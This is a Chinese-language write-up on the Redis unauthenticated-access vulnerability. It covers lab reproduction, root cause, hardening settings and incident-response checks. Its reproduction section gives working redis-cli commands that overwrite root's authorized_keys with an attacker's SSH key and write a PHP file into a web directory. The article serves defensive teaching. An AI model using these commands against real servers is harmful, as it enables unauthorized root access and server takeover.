Redis未授权访问漏洞分析
字数 1145 2025-08-15 21:31:19
Redis未授权访问漏洞分析与防护指南
漏洞概述
Redis未授权访问漏洞是由于Redis服务配置不当导致的安全问题,攻击者无需认证即可访问Redis数据库内部数据,可能导致:
- 敏感信息泄露
- 通过config命令进行文件写入操作
- 服务器被完全控制
漏洞复现环境
服务端环境
- Redis版本:v6.0.5
- 操作系统:CentOS 7.5
- 关键配置修改:
- 注释掉
bind 127.0.0.1 - 设置
protected-mode no
- 注释掉
攻击机环境
- 操作系统:CentOS 7.5
- 工具:Redis客户端(redis-cli)
漏洞复现过程
1. 基本未授权访问
- 启动Redis服务:
./src/redis-server redis.conf - 攻击机直接连接Redis服务器:
无需认证即可登录并执行任意Redis命令./src/redis-cli -h 192.168.195.110
2. 通过SSH密钥获取服务器权限
-
在攻击机生成SSH密钥对:
ssh-keygen -t rsa(一路按回车使用默认设置)
-
查看并复制公钥内容:
cat /root/.ssh/id_rsa.pub -
通过redis-cli连接目标服务器后执行:
config set dir /root/.ssh/ config set dbfilename authorized_keys set x "\n\n\n[公钥内容]\n\n\n" save -
使用私钥免密登录服务器:
ssh -i /root/.ssh/id_rsa root@目标IP
3. 写入Webshell(需服务器有Web服务)
-
假设Web目录为/var/www/html:
config set dir /var/www/html config set dbfilename webshell.php set x "<?php phpinfo(); ?>" save -
访问webshell.php验证是否写入成功
漏洞原理分析
漏洞产生的主要原因:
- Redis默认绑定所有网络接口(0.0.0.0)
- 默认无密码认证
- 保护模式被关闭
- Redis的config命令可以修改文件路径和文件名
- save命令可以将内存数据写入磁盘
攻击者利用这些特性可以:
- 读取Redis中存储的所有数据
- 修改Redis持久化配置写入任意文件
- 通过写入SSH公钥或Webshell获取服务器权限
防护措施
1. 访问控制
- 修改redis.conf文件,绑定本地IP:
bind 127.0.0.1 - 启用保护模式:
protected-mode yes
2. 认证机制
- 为Redis添加密码验证:
(将yourpassword替换为强密码)requirepass yourpassword
3. 权限控制
- 为Redis服务创建专用用户和home目录
- 以低权限运行Redis服务
- 禁止Redis用户登录:
usermod -s /sbin/nologin redis
4. 网络防护
- 防火墙限制Redis端口(默认6379)的访问
- 仅允许可信IP访问Redis服务
5. 其他安全措施
- 禁用危险命令:
rename-command CONFIG "" rename-command FLUSHDB "" rename-command FLUSHALL "" - 定期更新Redis到最新版本
- 监控Redis日志和异常连接
应急响应建议
若发现Redis未授权访问漏洞被利用:
- 立即断开受影响服务器的网络连接
- 检查/root/.ssh/authorized_keys文件是否被篡改
- 检查Web目录是否被写入可疑文件
- 重置所有Redis密码和SSH密钥
- 修复配置漏洞后再恢复服务
总结
Redis未授权访问是一个高危漏洞,可能导致服务器完全失陷。通过合理配置Redis的安全选项、限制网络访问和加强权限控制,可以有效防范此类漏洞。管理员应定期检查Redis配置和日志,确保服务安全运行。